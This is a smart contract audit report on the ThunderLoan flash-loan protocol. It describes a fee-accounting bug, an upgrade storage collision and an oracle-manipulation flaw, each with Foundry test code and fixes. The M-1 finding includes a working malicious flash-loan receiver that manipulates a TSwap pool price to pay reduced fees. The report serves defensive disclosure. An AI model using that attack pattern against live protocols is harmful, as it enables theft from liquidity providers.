ThunderLoan Initial Audit Report

Version 0.1

jamillhallak.com

February 12, 2025

ThunderLoan Audit Report

Jamil Hallack

Feb 12, 2025

ThunderLoan Audit Report

Prepared by **Jamil**

Lead Auditors - Jamil hallack

Assisting Auditors

- None

Table of Contents

- [H-1] Erroneous `ThunderLoan:updateExchangeRate` in the `deposit` function causes protocol to think is has more fees than it really dose , which blocks redemption and incorrectly sets the exchange rate
- [H-2] Mixing up variable location causes storage collisions in ThunderLoan::s_flashLoanFee and ThunderLoan::s_currentlyFlashLoaning.
- [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

About Jamil

Jamil Hallack, AI and Blockchain Lead Engineer with 4+ years of experience specializing in blockchain security, smart contract development, and advanced cryptographic protocols. Demonstrated success in mitigating vulnerabilities and enhancing security by 35% across DeFi and GameFi platforms using tools like MythX and formal verification. Committed to delivering innovative defenses against evolving threats in decentralized ecosystems.

Disclaimer

The Jamil hallack team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash

```
- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.

- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	2
Medium	1
Low	0
Info	0
Total	3

Findings

[H-1] Erroneous `ThunderLoan:updateExchangeRate` in the `deposit` function causes protocol to think is has more fees than it really dose , which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between asset tokens and underlying tokens. In a way it's responsible for keeping track of how many fees to give liquidity providers.

However, the `deposit` function updates this rate without collecting any fees!

```
1  function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
2      AssetToken assetToken = s_tokenToAssetToken[token];
3      uint256 exchangeRate = assetToken.getExchangeRate();
4      uint256 mintAmount = (amount * assetToken.
           EXCHANGE_RATE_PRECISION()) / exchangeRate;
5      emit Deposit(msg.sender, token, amount);
6      assetToken.mint(msg.sender, mintAmount);
7
8      // @Audit-High
9  @>  // uint256 calculatedFee = getCalculatedFee(token, amount);
10 @>  // assetToken.updateExchangeRate(calculatedFee);
11
12     token.safeTransferFrom(msg.sender, address(assetToken),
           amount);
```

```
13 }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the amount to be redeemed is more than it's balance.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than they deserve.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem

Proof of Code

Place the following into ThunderLoanTest.t.sol:

```
1  function testRedeemAfterLoan() public setAllowedToken
       hasDeposits {
2      uint256 amountToBorrow = AMOUNT * 10;
3      uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
           amountToBorrow);
4      tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
5
6      vm.startPrank(user);
7      thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA
           , amountToBorrow, "");
8      vm.stopPrank();
9
10     uint256 amountToRedeem = type(uint256).max;
11     vm.startPrank(liquidityProvider);
12     thunderLoan.redeem(tokenA, amountToRedeem);
13 }
```

Recommended Mitigation: Remove the incorrect updateExchangeRate lines from `deposit`

```
1  function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
2      AssetToken assetToken = s_tokenToAssetToken[token];
3      uint256 exchangeRate = assetToken.getExchangeRate();
4      uint256 mintAmount = (amount * assetToken.
           EXCHANGE_RATE_PRECISION()) / exchangeRate;
5      emit Deposit(msg.sender, token, amount);
6      assetToken.mint(msg.sender, mintAmount);
7
8  -   uint256 calculatedFee = getCalculatedFee(token, amount);
9  -   assetToken.updateExchangeRate(calculatedFee);
10
```

```
11      token.safeTransferFrom(msg.sender, address(assetToken),
            amount);
12  }
```

[H-2] Mixing up variable location causes storage collisions in ThunderLoan::s_flashLoanFee and ThunderLoan::s_currentlyFlashLoaning.

Description: `ThunderLoan.sol` has two variables in the following order:

```
1  ```javascript
2      uint256 private s_feePrecision;
3      uint256 private s_flashLoanFee; // 0.3% ETH fee
4  ```
```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
1  ```javascript
2      uint256 private s_flashLoanFee; // 0.3% ETH fee
3      uint256 public constant FEE_PRECISION = 1e18;
4  ```
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Code:

Code Add the following code to the `ThunderLoanTest.t.sol` file.

```
1  ```javascript
2  // You'll need to import `ThunderLoanUpgraded` as well
3  import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
       ThunderLoanUpgraded.sol";
4
5
6
7
8  function testUpgradedBreaks() public {
9
10 //check Implementaion before upgrade .
11  bytes32   _IMPLEMENTATION_SLOT =
```

```
0
    x360894A13BA1A3210667C828492DB98DCA3E2076CC3735A920A3CA505D382BBC
    ;
bytes32 slotValue = vm.load(address(proxy), _IMPLEMENTATION_SLOT
    );
address impl = address(uint160(uint256(slotValue)));
console.log("Implementation Address:", impl);


uint256 feeBeforeUpgrade = thunderLoan.getFee();
vm.prank(thunderLoan.owner()) ;
//Upgrading
ThunderLoanUpgraded up = new ThunderLoanUpgraded();
thunderLoan.upgradeToAndCall(address(up),"");

//check Implementaion after upgrade .
slotValue = vm.load(address(proxy), _IMPLEMENTATION_SLOT);
impl = address(uint160(uint256(slotValue)));
console.log("Implementation Address:", impl);

uint256 feeAfterUpgrade = thunderLoan.getFee() ;
console.log("FeeBefore :",feeBeforeUpgrade);
console.log("FeeAfter :",feeAfterUpgrade);
assert(feeAfterUpgrade != feeBeforeUpgrade);

}

```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring

protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept: The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
        1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
1      function getPriceInWeth(address token) public view returns (
          uint256) {
2          address swapPoolOfToken = IPoolFactory(s_poolFactory).
              getPool(token);
3  @>      return ITSwapPool(swapPoolOfToken).
       getPriceOfOnePoolTokenInWeth();
4      }
```

2. The user then repays the first flash loan, and then repays the second flash loan. Add the following to ThunderLoanTest.t.sol.

Proof of Code:

```
1   function testOracleManipulation() public {
2          thunderLoan = new ThunderLoan() ;
3          tokenA = new ERC20Mock();
4          proxy = new ERC1967Proxy(address(thunderLoan), "");
5          BuffMockPoolFactory pf = new BuffMockPoolFactory(address
              (weth));
6          //create tswap pool between weth and tokenA
7          address tswapPool = pf.createPool(address(tokenA));
8          thunderLoan = ThunderLoan(address(proxy));
9          thunderLoan.initialize(address(pf));
10
11         // Fund Tswap
12         vm.startPrank(liquidityProvider);
13         tokenA.mint(liquidityProvider,100e18) ;
14         tokenA.approve(address(tswapPool),100e18);
15         weth.mint(liquidityProvider,100e18);
16         weth.approve(address(tswapPool),100e18);
17         BuffMockTSwap(tswapPool).deposit(100e18,100e18,100e18,
              block.timestamp);
18         vm.stopPrank();
19         // Ratio 100 Weth  & 100 TokenA
20         // Price 1 : 1
```

```
21
22          // Fund Thounderloan
23
24          //set allow
25          vm.prank(thunderLoan.owner());
26          thunderLoan.setAllowedToken(tokenA,true);
27          //Fund
28          vm.startPrank(liquidityProvider);
29          tokenA.mint(liquidityProvider,1000e18);
30          tokenA.approve(address(thunderLoan),1000e18);
31          thunderLoan.deposit(tokenA,1000e18);
32          vm.stopPrank();
33
34          //Now , 100 weth & 100 token A in Tswap
35          // 1000 token A in thounderloan
36
37
38          uint256 normalFeeCost = thunderLoan.getCalculatedFee(
               tokenA,100e18) ;
39          console.log("NormalFeeCost: ",normalFeeCost);
40          // 0.296147410319118389
41
42          uint256 amountToBorrow = 50e18 ; // we will do it twice
43          uint256 wethBought = BuffMockTSwap(tswapPool).
               getOutputAmountBasedOnInput(50e18,100e18,100e18);
44      maliciousFlashLoanReceiver ml = new
           maliciousFlashLoanReceiver(thunderLoan,
45      BuffMockTSwap(tswapPool),address(thunderLoan.
           getAssetFromToken(tokenA)));
46          vm.startPrank(address(ml));
47          tokenA.mint(address(ml),100e18);
48          IERC20(tokenA).approve(address(tswapPool),50e18);
49          thunderLoan.flashloan(address(ml),IERC20(tokenA),
               amountToBorrow,"");
50
51          uint256 attackfee = ml.feeone() + ml.feetwo() ;
52          console.log("Attack Fee is:", attackfee);
53          assert(attackfee < normalFeeCost) ;
54      }
55  }
56  contract maliciousFlashLoanReceiver is IFlashLoanReceiver {
57
58      address repayReceiver ;
59      ThunderLoan thunderLoan ;
60      BuffMockTSwap tswapPool ;
61      bool attacked ;
62      uint256 public feeone;
63      uint256 public feetwo;
64
65      constructor(ThunderLoan _thunderLoan , BuffMockTSwap
           _tswapPool ,address _reapayReceiver){
```

```
66          thunderLoan =  ThunderLoan(_thunderLoan) ;
67          tswapPool = BuffMockTSwap(_tswapPool) ;
68          repayReceiver = _reapayReceiver ;
69      }
70
71
72          // 1.Swap the token A borrowed for Weth , affect the
               price
73          // 2. Take Another flash loan to see the difference
74      function executeOperation(address token,uint256 amount,
           uint256 fee,address /*initiator*/,bytes calldata /*params
           */) external
75      returns (bool){
76
77          if(!attacked){
78              feeone=fee;
79              attacked = true ;
80              uint256 wethBought = BuffMockTSwap(tswapPool).
                   getOutputAmountBasedOnInput(50e18,100e18,100e18);
81              IERC20(token).approve(address(tswapPool),50e18);
82              //tanks the price
83              BuffMockTSwap(tswapPool).
                   swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                   wethBought,block.timestamp);
84              //secound flash loan !
85              thunderLoan.flashloan(address(this),IERC20(token),
                   amount,"");
86               IERC20(token).transfer(address(repayReceiver),
                    amount+fee);
87
88
89          }
90          else{
91              feetwo = fee ;
92              IERC20(token).transfer(address(repayReceiver),50e18+
                   feetwo);
93          }
94          return true ;
95      }
96
97
98  }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.